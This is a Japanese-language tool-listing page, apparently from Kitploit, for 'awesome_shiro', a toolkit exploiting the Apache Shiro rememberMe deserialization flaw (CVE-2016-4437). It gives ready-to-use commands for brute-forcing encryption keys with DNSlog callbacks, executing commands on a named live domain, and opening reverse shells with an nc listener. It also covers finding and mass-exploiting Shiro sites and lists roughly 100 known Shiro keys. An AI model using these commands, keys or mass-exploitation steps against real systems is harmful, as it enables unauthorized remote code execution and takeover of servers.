Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Awesome_shiro — CVE-2016-4437-Shiroの逆シリアル化ブルートフォースモジュールとkey、コマンド実行、リバースシェルのスクリプト | Kitploit
ツール/GitHubGitHub/bkfish/awesome_shiro
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール
GitHubbkfish/awesome_shiro

Awesome_shiro

CVE-2016-4437-Shiroの逆シリアル化ブルートフォースモジュールとkey、コマンド実行、リバースシェルのスクリプト

リポジトリを見る
55166年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Awesome-shiro

CVE-2016-4437 Shiro<=1.2.4の逆シリアル化、爆破モジュールとキー、コード実行、リバースシェルのツール


脆弱性の原因

ShiroはCookie内のremembermeフィールドを逆シリアル化するため、Shiroのエンコード方式を知っていれば、悪意のあるコマンドをそのエンコード方式でエンコードしてHTTPヘッダーのCookieに配置し、Shiroが送信されたCookieのremembermeフィールドを逆シリアル化するときに、挿入されたコマンドが実行され、最終的にコマンド実行が発生します。

ShiroはデフォルトでCookieRememberMeManagerを使用しており、Cookie処理の流れは次のとおりです: rememberMeのCookie値を取得-->Base64デコード-->AES復号-->逆シリアル化

環境

linux/win10 どちらでも可 python2/python3 どちらでも可 moduleの下にysoserial.jarがあるため、プロジェクトはやや大きくなっています。ご了承ください。

ローカルでターゲット環境を構築

root@kitploit:~
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

スクリプトの使用

1、shiro_crack.py 爆破モジュールの使用

http://dnslog.cn/ と組み合わせる必要があります

root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do 1695jb.dnslog.cn

成功したら記録を確認 - 記録形式は {{key}}.{{module}}.dnslogurl

root@kitploit:~
U3ByaW5nQmxhZGUAAAAAAA.CommonsBeanutils1.x9zm4v.dnslog.cn

成功したkeyはU3ByaW5nQmxhZGUAAAAAAA==、モジュールはCommonsBeanutils1です

keyに==/+などの記号が含まれているため、本プロジェクトでは少しエスケープ処理を行います。付録1のkeyと比較してください。

fofaで一つ探して試してみましょう 1.png 2.png

shiro_crack.py 原理

実はネット上には爆破モジュールとkeyのツールがたくさんありますが、爆破に成功しても通常は接続が確立されただけで、モジュールとkeyが何かはわかりません。なぜなら、レスポンスがないRCEの場合、成功しても失敗しても応答コードは200だからです。

本プロジェクトは、爆破モジュールとkeyをdnslogと組み合わせて、間接的に成功したkeyとモジュールを取得します。原理はDNSlogの本質であり、DNSが解決するときにログが残るため、多段階ドメイン名の解決ログを読み取ることでリクエスト情報を取得します。

2、shiro_rce.py RCEの使用

http://dnslog.cn/ と組み合わせて使用可能

root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do "ping rcetest.x9zm4v.dnslog.cn"

dnslogでping rcetest.x9zm4v.dnslog.cnを確認できます。区別するために、さらに低いレベルのドメインを推奨します。

shiro_rce 設定

1、モジュールの設定 13行目を popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE) その中のCommonsBeanutils1を爆破成功時に使用したモジュールに変更します

2、keyの設定 16行目を key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") 爆破成功したkeyに変更します

fofaで一つ探して試してみましょう 3.png 4.png

3、shiro_getshell リバースシェル

root@kitploit:~
nc -lvnp 7777
python3 shiro_exp.py -u {{攻撃対象}} -lh {{リバースシェルのIP}} -lp {{リバースシェルのポート}}

安全のため、ローカルで実行します

原理はJRMPListenerとペイロードを一緒にパッケージ化したものです。実際にはjrmplistenerを使わなくても可能です。

shiro_getshellテスト:

6.png 5.png


ちょっとした考え

外部ネットワークに出られるなら、なぜshiro_recで直接bashリバースシェルを使えないのか

何度か試して失敗しましたが、Shiroに何らかのフィルタがあると思います。しかし、先にwgetでリバースシェルのshスクリプトをダウンロードしてからshで実行できることを発見しました。

参考:jrmplistenerを使わずにリバースシェルを取得するちょっとした研究


4、fuzz-shiro

リクエストヘッダーとレスポンスヘッダーに基づいて簡単なテストを行い、Shiroを使用しているWebサイトをshiro.txtに出力します。

5、shiro_piliang_crack.py

まずfuzz-shiroでShiroを使用しているサイトのリストshiro.txtを取得し、その後一括で実行することを推奨します。 dnsLogの記録形式は

{{key}}.{{モジュール}}.{{url}}.dnsurl

実際に使用して良好でした

よくある質問

1、Windows10で実行時にNo module named 'Crypto'が発生する場合

以下のコマンドを実行します:

root@kitploit:~
pip uninstall crypto pycryptodome
pip install pycryptodome

Pythonのインストールディレクトリの\Lib\site-packagesにあるcryptoフォルダの名前をCryptoに変更します。

付録1、Shiroでよく使われるkey

root@kitploit:~
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==
ツールをダウンロード